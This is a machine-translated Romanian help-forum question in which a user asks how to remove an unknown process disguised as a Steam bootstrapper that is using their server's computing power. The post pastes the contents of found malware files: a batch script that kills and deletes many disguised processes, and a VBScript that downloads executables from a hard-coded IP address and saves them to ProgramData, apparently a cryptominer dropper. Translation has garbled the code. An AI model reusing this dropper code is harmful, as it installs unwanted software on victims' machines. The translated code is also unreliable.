Windows - Cum să ucizi definitiv bootstrapperul clientului de aburi - Super Utilizator

Am următoarea situație în managerul de sarcini:

Am următoarea situație în managerul de sarcini:

Nu știu ce fel de aplicație este, dar cu siguranță nu bootstrapper pentru clientul Steam, pentru că nu l-am instalat și de asemenea nu-l pot dezinstala.

Dacă încerc să-mi dau seama ce fel de aplicație este prin acest pas:

Eu văd ceva de genul:

În utilitarul MS Config nu am găsit nimic care să arate ca secury.exe.

Când deschid locația fișierului, văd trei fișiere:

m.bat, b.exe, 4.vbs.

Mai jos merge conținutul m.bat:

taskkill / f / t / im secury.exe c: \ ProgramData \ secury.exe taskkill / f / t / im kingsoft.exe taskkill / f / t / im expl0rer.exe taskkill / f / t / im ieplare.exev taskkill / f / t / im NSSM.exe Taskkill / f / t / im MSASCui.exe taskkill / f / t / im SystemSettlngs.exe taskkill / f / t / im SystemSetting.exe taskkill / f / t / im Winlnlt.exe taskkill / f / t / im Taskkill / f / t / im Taskkill / f / t / im msdc.exe Taskkill / f / t / im lqrtqe.exe Taskkill / f / t / im Aplicații de programare / f / t / im Winlog.exe taskkill / f / t / im svchosts.exe taskkill / f / t / im win1ogins.exe taskkill / f / t / im shovsts.exe taskkill / f / t / im fcty.exe Taskkill / f / t / im soiuos.exe Taskkill / f / t / im TrustedInstaller.exe C: \ Windows \ System32 \ soiuos.exe del C: \ Windows \ Setup \ TrustedInstaller.exe C: \ ProgramData \ kingsoft.exe C: \ ProgramData \ expl0rer.exe C: \ ProgramData \ ieplare.exe C: \ ProgramData \ nssm.exe del C: \ ProgramData \ MSASCui.exe C: \ Pro gramData \ SystemSettlngs.exe del C: \ ProgramData \ SystemSetting.exe C: \ ProgramData \ Process.exe C: \ ProgramData \ winlnlt.exe C: \ ProgramData \ WindowsUpgrade.exe C: \ ProgramData \ msdc.exe Del C: \ ProgramData \ Fiddlere.exe C: \ ProgramData \ shovst.exe C: \ ProgramData \ lqrtqe.exe C: \ ProgramData \ apkls.exe C: \ ProgramData \ winlog.exe C: \ ProgramData \ C: \ ProgramData \ pool.exe C: \ ProgramData \ pool2.exe del C: \ ProgramData \ pool2.exe C: \ ProgramData \ pool2.exe del C: \ ProgramData \ C: \ ProgramData \ pool3.exe

Următorul merge 4.vbs:

Setați xPost = CreateObject ("Microsoft.XMLHTTP") xPost.Open "GET", "http://223.68.209.7:65510/2.exe", 0 xPost.Send () Setați sGet = CreateObject ("ADODB.Stream" ) sGet.Mode = 3 sGet.Type = 1 sGet.Open () sGet.Write (xPost.responseBody) sGet.SaveToFile "c: \ ProgramData \ s2.exe", 2 Set xPost = CreateObject ("Microsoft.XMLHTTP" xPost.Open "GET", "http://223.68.209.7:65510/pool.exe", 0 xPost.Send () Setați sGet = CreateObject ("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open () sGet.Write (xPost.responseBody) sGet.SaveToFile "C: \ ProgramData \ pool2.exe", 2 CreateObject ("WScript.Shell" "WScript.Shell") Rulați "del C: \ ProgramData \ pool3.exe"

Ce pot face pentru a opri secury.exe de a abuza de puterea de calcul a serverului meu?

PS Am executat verificarea completă a computerului meu, dar nu a găsit nimic rău.